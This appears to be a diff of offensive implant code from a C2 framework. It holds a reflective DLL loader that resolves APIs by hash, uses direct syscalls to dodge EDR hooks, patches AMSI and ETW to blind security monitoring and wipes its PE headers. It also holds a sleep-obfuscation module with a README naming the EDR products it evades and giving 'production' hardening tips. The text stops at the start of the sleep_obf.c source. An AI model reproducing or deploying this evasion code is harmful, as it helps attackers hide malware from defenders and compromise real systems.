||||
while (cur != head) {
|
||||
RL_LDR_ENTRY *e = CONTAINING_RECORD(cur, RL_LDR_ENTRY, InMemoryOrderLinks);
|
||||
if (e->BaseDllName.Length >= 18 && _rl_weq12(e->BaseDllName.Buffer, "ntdll.dll\0\0\0"))
|
||||
return (ULONG_PTR)e->DllBase;
|
||||
cur = cur->Flink;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// EAT walk by hash - ignores forwarded exports
|
||||
static ULONG_PTR _rl_get_proc_h(ULONG_PTR mod, DWORD hash)
|
||||
{
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)mod;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(mod + dos->e_lfanew);
|
||||
DWORD expRva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
DWORD expSz = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
|
||||
if (!expRva) return 0;
|
||||
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(mod + expRva);
|
||||
DWORD *names = (DWORD *)(mod + exp->AddressOfNames);
|
||||
WORD *ords = (WORD *)(mod + exp->AddressOfNameOrdinals);
|
||||
DWORD *funcs = (DWORD *)(mod + exp->AddressOfFunctions);
|
||||
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
|
||||
if (_rl_hash((char *)(mod + names[i])) == hash) {
|
||||
DWORD fnRva = funcs[ords[i]];
|
||||
if (fnRva >= expRva && fnRva < expRva + expSz) return 0; // forwarded, skip
|
||||
return mod + fnRva;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// get SSN from ntdll stub (Hell's Gate / Halos Gate / Tartarus Gate)
|
||||
static WORD _rl_ssn(ULONG_PTR ntdll, DWORD hash)
|
||||
{
|
||||
ULONG_PTR stub = _rl_get_proc_h(ntdll, hash);
|
||||
if (!stub) return 0xFFFF;
|
||||
uint8_t *p = (uint8_t *)stub;
|
||||
|
||||
// clean stub - read SSN from bytes 4-5
|
||||
if (p[0]==0x4C && p[1]==0x8B && p[2]==0xD1 && p[3]==0xB8 && p[6]==0x00 && p[7]==0x00)
|
||||
return *(WORD *)(p + 4);
|
||||
|
||||
// hooked - find real stub stride by scanning backward
|
||||
int stride = 0;
|
||||
for (int s = 1; s <= 256 && !stride; s++) {
|
||||
uint8_t *q = p - s;
|
||||
if (q[0]==0x4C && q[1]==0x8B && q[2]==0xD1 && q[3]==0xB8 && q[6]==0x00 && q[7]==0x00)
|
||||
stride = s;
|
||||
}
|
||||
if (!stride) {
|
||||
for (int s = 1; s <= 256 && !stride; s++) {
|
||||
uint8_t *q = p + s;
|
||||
if (q[0]==0x4C && q[1]==0x8B && q[2]==0xD1 && q[3]==0xB8 && q[6]==0x00 && q[7]==0x00)
|
||||
stride = s;
|
||||
}
|
||||
}
|
||||
if (!stride) stride = 32; // typical Win10/11 stub size
|
||||
|
||||
for (int d = 1; d <= 32; d++) {
|
||||
uint8_t *n = p + d * stride;
|
||||
if (n[0]==0x4C && n[1]==0x8B && n[2]==0xD1 && n[3]==0xB8 && n[6]==0x00 && n[7]==0x00)
|
||||
return (WORD)(*(WORD *)(n + 4) - (WORD)d);
|
||||
n = p - d * stride;
|
||||
if (n[0]==0x4C && n[1]==0x8B && n[2]==0xD1 && n[3]==0xB8 && n[6]==0x00 && n[7]==0x00)
|
||||
return (WORD)(*(WORD *)(n + 4) + (WORD)d);
|
||||
}
|
||||
return 0xFFFF;
|
||||
}
|
||||
|
||||
// must be in .data not .bss (no raw bytes on disk)
|
||||
static volatile WORD _hg_ssn = 0xFFFF;
|
||||
|
||||
// set _hg_ssn before calling
|
||||
__attribute__((naked))
|
||||
static NTSTATUS _rl_hg_call(void)
|
||||
{
|
||||
__asm__(
|
||||
"movzwl _hg_ssn(%rip), %eax\n\t"
|
||||
"movq %rcx, %r10\n\t"
|
||||
"syscall\n\t"
|
||||
"ret\n\t"
|
||||
);
|
||||
}
|
||||
|
||||
// scan backward from own RIP to find the MZ header of the raw DLL in memory
|
||||
static ULONG_PTR _rl_find_own_base(void)
|
||||
{
|
||||
ULONG_PTR ip = (ULONG_PTR)_rl_find_own_base & ~0xFFFUL;
|
||||
for (int i = 0; i < 4096; i++, ip -= 0x1000) {
|
||||
if (*(WORD *)ip != IMAGE_DOS_SIGNATURE) continue;
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ip;
|
||||
if ((ULONG_PTR)dos->e_lfanew > 0x400) continue;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(ip + dos->e_lfanew);
|
||||
if (nt->Signature == IMAGE_NT_SIGNATURE && nt->OptionalHeader.SizeOfImage > 0)
|
||||
return ip;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
__declspec(dllexport)
|
||||
ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
|
||||
{
|
||||
(void)lpParameter;
|
||||
|
||||
// 1. find kernel32 + ntdll via PEB walk
|
||||
ULONG_PTR k32 = _rl_find_kernel32();
|
||||
ULONG_PTR ntdll = _rl_find_ntdll();
|
||||
if (!k32 || !ntdll) return 0;
|
||||
|
||||
// 2. resolve APIs by hash - no plaintext strings
|
||||
pLoadLibraryA_t fLLA = (pLoadLibraryA_t) _rl_get_proc_h(k32, H_LoadLibraryA);
|
||||
pLoadLibraryExA_t fLLEA = (pLoadLibraryExA_t) _rl_get_proc_h(k32, H_LoadLibraryExA);
|
||||
pGetProcAddress_t fGPA = (pGetProcAddress_t) _rl_get_proc_h(k32, H_GetProcAddress);
|
||||
pVirtualAlloc_t fVA = (pVirtualAlloc_t) _rl_get_proc_h(k32, H_VirtualAlloc);
|
||||
pFlushInstructionCache_t fFIC = (pFlushInstructionCache_t) _rl_get_proc_h(k32, H_FlushInstructionCache);
|
||||
pGetCurrentProcess_t fGCP = (pGetCurrentProcess_t) _rl_get_proc_h(k32, H_GetCurrentProcess);
|
||||
pRtlAddFunctionTable_t fRAFT = (pRtlAddFunctionTable_t) _rl_get_proc_h(ntdll, H_RtlAddFunctionTable);
|
||||
|
||||
if (!fLLA || !fGPA || !fVA) return 0;
|
||||
|
||||
// VirtualProtect is forwarded, EAT returns a string not a pointer
|
||||
pVirtualProtect_t fVP = (pVirtualProtect_t)fGPA((HMODULE)k32, "VirtualProtect");
|
||||
|
||||
// 3. get syscall numbers for NtAllocate/NtProtect (bypasses ntdll hooks)
|
||||
WORD ssn_alloc = _rl_ssn(ntdll, H_NtAllocateVirtualMemory);
|
||||
WORD ssn_protect = _rl_ssn(ntdll, H_NtProtectVirtualMemory);
|
||||
// save for telemetry
|
||||
_rl_dbg.ssn_alloc = ssn_alloc;
|
||||
_rl_dbg.ssn_protect = ssn_protect;
|
||||
|
||||
// 4. locate raw PE
|
||||
ULONG_PTR src = lpParameter ? (ULONG_PTR)lpParameter : _rl_find_own_base();
|
||||
if (!src) return 0;
|
||||
|
||||
PIMAGE_DOS_HEADER srcDos = (PIMAGE_DOS_HEADER)src;
|
||||
PIMAGE_NT_HEADERS srcNt = (PIMAGE_NT_HEADERS)(src + srcDos->e_lfanew);
|
||||
DWORD imgSz = srcNt->OptionalHeader.SizeOfImage;
|
||||
DWORD hdrSz = srcNt->OptionalHeader.SizeOfHeaders;
|
||||
|
||||
// 5. allocate dst - priority: module stomp > NtAllocate syscall > VirtualAlloc
|
||||
ULONG_PTR dst = 0;
|
||||
|
||||
// (a) module stomping - disabled
|
||||
// LoadLibraryExA(DONT_RESOLVE_DLL_REFERENCES) calls DllMain on Win10+ and hangs.
|
||||
// Needs NtCreateSection + NtMapViewOfSection for a proper implementation.
|
||||
(void)fLLEA;
|
||||
|
||||
// (b) NtAllocateVirtualMemory syscall, try preferred base first
|
||||
if (!dst && ssn_alloc != 0xFFFF) {
|
||||
SIZE_T sz = (SIZE_T)imgSz;
|
||||
PVOID base = (PVOID)srcNt->OptionalHeader.ImageBase;
|
||||
_hg_ssn = ssn_alloc;
|
||||
if (((pNtAllocVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &base, 0, &sz,
|
||||
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) == 0)
|
||||
dst = (ULONG_PTR)base;
|
||||
if (!dst) {
|
||||
base = NULL; sz = (SIZE_T)imgSz;
|
||||
_hg_ssn = ssn_alloc;
|
||||
if (((pNtAllocVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &base, 0, &sz,
|
||||
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) == 0)
|
||||
dst = (ULONG_PTR)base;
|
||||
}
|
||||
if (dst) _rl_dbg.alloc_method = RL_DBG_HELLSGATE;
|
||||
}
|
||||
|
||||
// (c) VirtualAlloc - plain fallback
|
||||
if (!dst)
|
||||
dst = (ULONG_PTR)fVA((LPVOID)srcNt->OptionalHeader.ImageBase,
|
||||
imgSz, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (!dst)
|
||||
dst = (ULONG_PTR)fVA(NULL, imgSz, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (!dst) return 0;
|
||||
if (!_rl_dbg.alloc_method) _rl_dbg.alloc_method = RL_DBG_VIRTALLOC;
|
||||
|
||||
// 6. copy headers
|
||||
{ uint8_t *s=(uint8_t*)src, *d=(uint8_t*)dst; for(DWORD i=0;i<hdrSz;i++) d[i]=s[i]; }
|
||||
|
||||
// 7. copy sections
|
||||
{
|
||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(srcNt);
|
||||
for (WORD i = 0; i < srcNt->FileHeader.NumberOfSections; i++, sec++) {
|
||||
if (!sec->PointerToRawData || !sec->SizeOfRawData) continue;
|
||||
uint8_t *ss = (uint8_t *)(src + sec->PointerToRawData);
|
||||
uint8_t *sd = (uint8_t *)(dst + sec->VirtualAddress);
|
||||
for (DWORD j = 0; j < sec->SizeOfRawData; j++) sd[j] = ss[j];
|
||||
}
|
||||
}
|
||||
|
||||
PIMAGE_NT_HEADERS dstNt = (PIMAGE_NT_HEADERS)(dst + ((PIMAGE_DOS_HEADER)dst)->e_lfanew);
|
||||
LONG_PTR delta = (LONG_PTR)(dst - srcNt->OptionalHeader.ImageBase);
|
||||
|
||||
// 8. base relocations
|
||||
{
|
||||
DWORD relRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
|
||||
DWORD relSz = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
||||
if (delta && relRva && relSz) {
|
||||
PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(dst + relRva);
|
||||
while (reloc->VirtualAddress && reloc->SizeOfBlock) {
|
||||
ULONG_PTR page = dst + reloc->VirtualAddress;
|
||||
WORD *entry = (WORD *)((uint8_t *)reloc + sizeof(IMAGE_BASE_RELOCATION));
|
||||
DWORD cnt = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
for (DWORD i = 0; i < cnt; i++) {
|
||||
int type = entry[i] >> 12;
|
||||
DWORD off = entry[i] & 0x0FFF;
|
||||
#ifdef _WIN64
|
||||
if (type == IMAGE_REL_BASED_DIR64) *(ULONG_PTR *)(page+off) += (ULONG_PTR)delta;
|
||||
#endif
|
||||
if (type == IMAGE_REL_BASED_HIGHLOW) *(DWORD *)(page+off) += (DWORD)delta;
|
||||
}
|
||||
reloc = (PIMAGE_BASE_RELOCATION)((uint8_t *)reloc + reloc->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 9. imports
|
||||
{
|
||||
DWORD impRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
|
||||
if (impRva) {
|
||||
PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)(dst + impRva);
|
||||
for (; imp->Name; imp++) {
|
||||
HMODULE hLib = fLLA((char *)(dst + imp->Name));
|
||||
if (!hLib) continue;
|
||||
IMAGE_THUNK_DATA *iat = (IMAGE_THUNK_DATA *)(dst + imp->FirstThunk);
|
||||
IMAGE_THUNK_DATA *ont = imp->OriginalFirstThunk
|
||||
? (IMAGE_THUNK_DATA *)(dst + imp->OriginalFirstThunk) : iat;
|
||||
for (; ont->u1.AddressOfData; ont++, iat++) {
|
||||
FARPROC proc;
|
||||
if (IMAGE_SNAP_BY_ORDINAL(ont->u1.Ordinal))
|
||||
proc = fGPA(hLib, (LPCSTR)IMAGE_ORDINAL(ont->u1.Ordinal));
|
||||
else {
|
||||
PIMAGE_IMPORT_BY_NAME ibn =
|
||||
(PIMAGE_IMPORT_BY_NAME)(dst + (DWORD)ont->u1.AddressOfData);
|
||||
proc = fGPA(hLib, (LPCSTR)ibn->Name);
|
||||
}
|
||||
iat->u1.Function = (ULONG_PTR)proc;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 10. per-section permissions
|
||||
{
|
||||
DWORD secAlign = dstNt->OptionalHeader.SectionAlignment;
|
||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(dstNt);
|
||||
for (WORD i = 0; i < dstNt->FileHeader.NumberOfSections; i++, sec++) {
|
||||
if (!sec->VirtualAddress) continue;
|
||||
// round up to section alignment
|
||||
DWORD vsz = sec->Misc.VirtualSize ? sec->Misc.VirtualSize : sec->SizeOfRawData;
|
||||
DWORD msz = (vsz + secAlign - 1) & ~(secAlign - 1);
|
||||
if (!msz) continue;
|
||||
DWORD prot = PAGE_NOACCESS, c = sec->Characteristics;
|
||||
if (c & IMAGE_SCN_MEM_EXECUTE) {
|
||||
if (c & IMAGE_SCN_MEM_WRITE) prot = PAGE_EXECUTE_READWRITE;
|
||||
else if (c & IMAGE_SCN_MEM_READ) prot = PAGE_EXECUTE_READ;
|
||||
else prot = PAGE_EXECUTE;
|
||||
} else if (c & IMAGE_SCN_MEM_READ) {
|
||||
prot = (c & IMAGE_SCN_MEM_WRITE) ? PAGE_READWRITE : PAGE_READONLY;
|
||||
} else if (c & IMAGE_SCN_MEM_WRITE) {
|
||||
prot = PAGE_WRITECOPY;
|
||||
}
|
||||
if (ssn_protect != 0xFFFF) {
|
||||
PVOID addr = (PVOID)(dst + sec->VirtualAddress);
|
||||
SIZE_T sz = (SIZE_T)msz;
|
||||
ULONG old = 0;
|
||||
_hg_ssn = ssn_protect;
|
||||
((pNtProtectVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &addr, &sz, prot, &old);
|
||||
} else if (fVP) {
|
||||
DWORD old;
|
||||
fVP((LPVOID)(dst + sec->VirtualAddress), msz, prot, &old);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 11. register .pdata for x64 SEH
|
||||
if (fRAFT) {
|
||||
DWORD pdRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;
|
||||
DWORD pdSz = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;
|
||||
if (pdRva && pdSz)
|
||||
fRAFT((PRUNTIME_FUNCTION)(dst + pdRva), pdSz / sizeof(RUNTIME_FUNCTION), (DWORD64)dst);
|
||||
}
|
||||
|
||||
// 11b. init __security_cookie - /GS DLLs crash at function return without this
|
||||
{
|
||||
DWORD lcRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress;
|
||||
if (lcRva) {
|
||||
PIMAGE_LOAD_CONFIG_DIRECTORY64 lc = (PIMAGE_LOAD_CONFIG_DIRECTORY64)(dst + lcRva);
|
||||
if (lc->Size >= (DWORD)((ULONG_PTR)&lc->SecurityCookie - (ULONG_PTR)lc + sizeof(lc->SecurityCookie))
|
||||
&& lc->SecurityCookie) {
|
||||
ULONG_PTR *ck = (ULONG_PTR *)lc->SecurityCookie;
|
||||
ULONG_PTR seed = (ULONG_PTR)ck ^ (ULONG_PTR)dst ^ (ULONG_PTR)lc;
|
||||
seed ^= (seed >> 16) ^ (seed << 13);
|
||||
if (!seed || seed == 0x00002B992DDFA232ULL) seed ^= 0xFACEB00CFACEB00CULL;
|
||||
*ck = seed;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 12. AMSI
|
||||
if (fVP) {
|
||||
HMODULE hAmsi = fLLA("amsi.dll");
|
||||
if (hAmsi) {
|
||||
LPVOID scan = (LPVOID)fGPA(hAmsi, "AmsiScanBuffer");
|
||||
if (scan) {
|
||||
DWORD old = 0;
|
||||
if (fVP(scan, 3, PAGE_EXECUTE_READWRITE, &old)) {
|
||||
((uint8_t *)scan)[0] = 0x31;
|
||||
((uint8_t *)scan)[1] = 0xC0;
|
||||
((uint8_t *)scan)[2] = 0xC3;
|
||||
fVP(scan, 3, old, &old);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 13. ETW - patch EtwEventWrite: xor eax,eax; ret
|
||||
if (fVP) {
|
||||
ULONG_PTR etw = _rl_get_proc_h(ntdll, H_EtwEventWrite);
|
||||
if (etw) {
|
||||
DWORD old = 0;
|
||||
if (fVP((LPVOID)etw, 3, PAGE_EXECUTE_READWRITE, &old)) {
|
||||
((uint8_t *)etw)[0] = 0x31;
|
||||
((uint8_t *)etw)[1] = 0xC0;
|
||||
((uint8_t *)etw)[2] = 0xC3;
|
||||
fVP((LPVOID)etw, 3, old, &old);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 14. TLS - alloc slot, write index, call callbacks before DllMain
|
||||
{
|
||||
DWORD tlsRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress;
|
||||
if (tlsRva) {
|
||||
PIMAGE_TLS_DIRECTORY tlsDir = (PIMAGE_TLS_DIRECTORY)(dst + tlsRva);
|
||||
|
||||
// alloc TLS slot
|
||||
typedef DWORD (WINAPI *pTlsAlloc_t)(void);
|
||||
pTlsAlloc_t fTlsAlloc = (pTlsAlloc_t)fGPA((HMODULE)k32, "TlsAlloc");
|
||||
if (fTlsAlloc && tlsDir->AddressOfIndex) {
|
||||
DWORD tlsIdx = fTlsAlloc();
|
||||
if (tlsIdx != TLS_OUT_OF_INDEXES)
|
||||
*(DWORD *)(ULONG_PTR)tlsDir->AddressOfIndex = tlsIdx;
|
||||
}
|
||||
|
||||
// call each callback with DLL_PROCESS_ATTACH
|
||||
if (tlsDir->AddressOfCallBacks) {
|
||||
PIMAGE_TLS_CALLBACK *cb = (PIMAGE_TLS_CALLBACK *)(ULONG_PTR)tlsDir->AddressOfCallBacks;
|
||||
while (*cb) {
|
||||
(*cb)((PVOID)dst, DLL_PROCESS_ATTACH, NULL);
|
||||
cb++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 15. flush icache
|
||||
if (fFIC && fGCP) fFIC(fGCP(), (LPVOID)dst, imgSz);
|
||||
|
||||
// 16. DllMain
|
||||
pDllMain_t fDllMain = (pDllMain_t)(dst + dstNt->OptionalHeader.AddressOfEntryPoint);
|
||||
fDllMain((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL);
|
||||
|
||||
// 17. erase PE headers
|
||||
if (fVP || ssn_protect != 0xFFFF) {
|
||||
if (ssn_protect != 0xFFFF) {
|
||||
PVOID addr = (PVOID)dst;
|
||||
SIZE_T sz = (SIZE_T)hdrSz;
|
||||
ULONG old = 0;
|
||||
_hg_ssn = ssn_protect;
|
||||
((pNtProtectVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &addr, &sz, PAGE_READWRITE, &old);
|
||||
} else {
|
||||
DWORD old;
|
||||
fVP((LPVOID)dst, hdrSz, PAGE_READWRITE, &old);
|
||||
}
|
||||
|
||||
volatile uint8_t *p = (volatile uint8_t *)dst;
|
||||
for (DWORD i = 0; i < hdrSz; i++) p[i] = 0;
|
||||
if (ssn_protect != 0xFFFF) {
|
||||
PVOID addr = (PVOID)dst;
|
||||
SIZE_T sz = (SIZE_T)hdrSz;
|
||||
ULONG old = 0;
|
||||
_hg_ssn = ssn_protect;
|
||||
((pNtProtectVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &addr, &sz, PAGE_READONLY, &old);
|
||||
} else {
|
||||
DWORD old;
|
||||
fVP((LPVOID)dst, hdrSz, PAGE_READONLY, &old);
|
||||
}
|
||||
}
|
||||
|
||||
return dst;
|
||||
}
|
||||
@@ -1,20 +0,0 @@
|
||||
def rl_hash(s):
|
||||
h = 0
|
||||
for c in s.upper():
|
||||
h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF
|
||||
h = (h + ord(c)) & 0xFFFFFFFF
|
||||
return h
|
||||
|
||||
apis = [
|
||||
'kernel32.dll',
|
||||
'LoadLibraryA',
|
||||
'GetProcAddress',
|
||||
'VirtualAlloc',
|
||||
'VirtualProtect',
|
||||
'FlushInstructionCache',
|
||||
'GetCurrentProcess',
|
||||
]
|
||||
|
||||
for a in apis:
|
||||
key = a.replace('.', '_')
|
||||
print('#define HASH_%-30s 0x%08XULL // %s' % (key, rl_hash(a), a))
|
||||
@@ -1,28 +0,0 @@
|
||||
CC = x86_64-w64-mingw32-gcc
|
||||
CFLAGS = -O2 -Wall -Wextra \
|
||||
-Iinclude \
|
||||
-masm=att \
|
||||
-fno-asynchronous-unwind-tables \
|
||||
-fno-ident \
|
||||
-fno-stack-protector
|
||||
LDFLAGS = -lbcrypt -lntdll
|
||||
|
||||
SRC = src/sleep_obf.c src/demo.c
|
||||
OBJ = $(patsubst src/%.c, build/%.o, $(SRC))
|
||||
TARGET = build/demo.exe
|
||||
|
||||
all: build $(TARGET)
|
||||
|
||||
build:
|
||||
mkdir -p build
|
||||
|
||||
build/%.o: src/%.c
|
||||
$(CC) $(CFLAGS) -c $< -o $@
|
||||
|
||||
$(TARGET): $(OBJ)
|
||||
$(CC) $(CFLAGS) $(OBJ) -o $@ $(LDFLAGS)
|
||||
|
||||
clean:
|
||||
rm -rf build
|
||||
|
||||
.PHONY: all clean
|
||||
@@ -1,117 +0,0 @@
|
||||
# sleep-obf
|
||||
|
||||
Encrypted sleep obfuscation for Windows x64 implants.
|
||||
|
||||
Encrypts the calling module's `.text` section with a `BCryptGenRandom` key, marks it `PAGE_NOACCESS`, pivots to a fake thread context waiting on `NtWaitForSingleObject`, and decrypts on wakeup. Stack scan during sleep shows a legitimate `NtWaitForSingleObject` call chain, not your implant.
|
||||
|
||||
Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2).
|
||||
|
||||
---
|
||||
|
||||
## How it works
|
||||
|
||||
```
|
||||
RtlCaptureContext() <- save real context (RIP points back here)
|
||||
|
|
||||
v
|
||||
CreateThread(_timer_thread) <- fires Sleep(ms) then SetEvent(done)
|
||||
|
|
||||
v
|
||||
XOR .text with 32-byte BCryptGenRandom key
|
||||
VirtualProtect .text -> PAGE_NOACCESS
|
||||
Rewrite TEB StackBase/StackLimit -> fake stack
|
||||
|
|
||||
v
|
||||
NtContinue(fake_ctx) <- pivot: RIP=NtWaitForSingleObject, RSP=fake_stack
|
||||
| stack now shows: NtWait -> RtlUserThreadStart+0x10
|
||||
v
|
||||
[EVENT FIRES after ms]
|
||||
|
|
||||
v
|
||||
_sleep_trampoline() <- on fake stack, called as return from NtWait
|
||||
|
|
||||
v
|
||||
XOR .text again (decrypt)
|
||||
VirtualProtect .text -> PAGE_EXECUTE_READ
|
||||
Restore TEB stack bounds
|
||||
NtContinue(real_ctx) <- resume exactly where RtlCaptureContext was called
|
||||
```
|
||||
|
||||
Key properties:
|
||||
|
||||
- **Fake call stack**: during sleep, the thread stack shows `NtWaitForSingleObject` called from `RtlUserThreadStart+0x10`. No implant frames visible.
|
||||
- **TEB stack bounds rewritten**: `StackBase`/`StackLimit` in the TEB point to the fake stack so ETW stack walks stay within valid bounds.
|
||||
- **Timer thread in `.run` section**: timer thread code and trampoline are in a separate `.run` section, not `.text`. They keep executing while `.text` is `NOACCESS`.
|
||||
- **No IAT thunks in critical path**: `VirtualProtect`, `Sleep`, `SetEvent` are resolved to direct function addresses and stored in `obf_ctx_t`. IAT thunks live in `.text` and would fault if called during sleep.
|
||||
- **NtProtectVirtualMemory** is used instead of `VirtualProtect` to protect the protect call itself from userland hooks.
|
||||
- **ACG fallback**: if the permission round-trip fails (e.g. ACG-enforced process), falls back to plain `Sleep()`.
|
||||
|
||||
---
|
||||
|
||||
## Usage
|
||||
|
||||
```c
|
||||
#include "sleep_obf.h"
|
||||
|
||||
// basic usage
|
||||
sleep_obf(5000); // sleep 5 seconds with .text encrypted
|
||||
|
||||
// optional: hook to arm ETW/AMSI hardware breakpoints on the timer thread
|
||||
// (implement your own or use the hwbp-evasion technique)
|
||||
g_sleep_obf_thread_hook = my_hwbp_arm_fn;
|
||||
sleep_obf(5000);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Build
|
||||
|
||||
Requires MinGW-w64 cross-compiler.
|
||||
|
||||
```bash
|
||||
make
|
||||
./build/demo.exe
|
||||
```
|
||||
|
||||
On a Windows host with MSVC, adjust `CC`, link `bcrypt.lib` and `ntdll.lib`.
|
||||
|
||||
---
|
||||
|
||||
## Limitations
|
||||
|
||||
- x64 only.
|
||||
- Requires the calling module to have a `.text` section (standard for PE files).
|
||||
- Does not survive process suspension during the encryption window (between `CreateThread` and `NtContinue`) — this window is a few microseconds.
|
||||
- DLLs with `DLL_THREAD_ATTACH` callbacks that touch `.text` will fault during timer thread creation if `.text` is already encrypted. The implementation creates the thread **before** encrypting to avoid this.
|
||||
|
||||
### Kernel-mode AV (Kaspersky, ESET, etc.)
|
||||
|
||||
Some AV products (notably Kaspersky Total Security / KAV) use kernel-mode callbacks that intercept `NtProtectVirtualMemory` calls targeting the process's own `.text` section. When detected, they terminate the thread via a kernel APC before the syscall returns. **No userland exception handler (VEH, SEH) can catch this** — the VEH is never invoked.
|
||||
|
||||
The implementation handles this gracefully: the permission round-trip test (`PAGE_READWRITE` → restore) catches the failure and falls back to plain `Sleep()` before any encryption is attempted. The setjmp/VEH in `_nt_prot` catches the exception on products that raise it (Defender, etc.); for products that issue a kernel APC (Kaspersky), the fallback relies on a clean thread termination message in the OS.
|
||||
|
||||
**Testing**: run in a VM without AV, or with AV excluded/disabled, to observe the full sleep obfuscation behavior. The technique is effective against userland-hook-based EDRs (Microsoft Defender, CrowdStrike Falcon in standard config, SentinelOne in detect-only mode).
|
||||
|
||||
---
|
||||
|
||||
## Operational notes
|
||||
|
||||
This PoC uses `GetModuleHandleA`/`GetProcAddress` with plaintext strings. In production:
|
||||
|
||||
- Replace with a PEB walk (`__readgsqword(0x60)`) to resolve modules without touching the IAT or leaving strings in `.rdata`.
|
||||
- Encrypt sensitive string literals (see EVS XOR in KHAOS C2).
|
||||
|
||||
---
|
||||
|
||||
## Credits
|
||||
|
||||
Technique originally described by [Ekko](https://github.com/Cracked5pider/Ekko) (Cracked5pider). This implementation extends it with:
|
||||
|
||||
- `NtProtectVirtualMemory` instead of `VirtualProtect` for the permission flip
|
||||
- TEB `StackBase`/`StackLimit` rewrite for ETW stack walk validity
|
||||
- Fallback path for ACG-enforced environments
|
||||
- Thread hook integration point for HWBP-based ETW/AMSI bypass
|
||||
|
||||
---
|
||||
|
||||
*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)*
|
||||
@@ -1,22 +0,0 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
/*
|
||||
* Optional hook called with the timer thread handle before .text is encrypted.
|
||||
* Use to arm hardware breakpoints (ETW/AMSI bypass) on the timer thread.
|
||||
* Set to NULL if not needed.
|
||||
*/
|
||||
typedef void (*sleep_obf_thread_hook_t)(HANDLE hThread);
|
||||
extern sleep_obf_thread_hook_t g_sleep_obf_thread_hook;
|
||||
|
||||
/*
|
||||
* sleep_obf() — encrypted sleep
|
||||
*
|
||||
* Encrypts the calling module's .text section with a BCryptGenRandom key,
|
||||
* marks it PAGE_NOACCESS, switches to a fake thread context pointing to
|
||||
* NtWaitForSingleObject on a fake stack, and restores state on wakeup.
|
||||
*
|
||||
* Falls back to plain Sleep() if any setup step fails (ACG, section not
|
||||
* found, allocation failure).
|
||||
*/
|
||||
void sleep_obf(DWORD ms);
|
||||
@@ -1,26 +0,0 @@
|
||||
#include "sleep_obf.h"
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("[*] starting — sleeping 5 seconds with .text obfuscation\n");
|
||||
fflush(stdout);
|
||||
|
||||
sleep_obf(5000);
|
||||
|
||||
printf("[+] woke up — .text restored, execution resumed\n");
|
||||
fflush(stdout);
|
||||
|
||||
/* loop to show repeated sleeps work */
|
||||
for (int i = 0; i < 3; i++) {
|
||||
printf("[*] loop %d — sleeping 2 seconds\n", i + 1);
|
||||
fflush(stdout);
|
||||
sleep_obf(2000);
|
||||
printf("[+] loop %d — resumed\n", i + 1);
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
printf("[+] done\n");
|
||||
return 0;
|
||||
}
|
||||
@@ -1,323 +0,0 @@
|
||||
#include "sleep_obf.h"
|
||||
#include <windows.h>
|
||||
#include <bcrypt.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <setjmp.h>
|
||||
|
||||
/*
|
||||
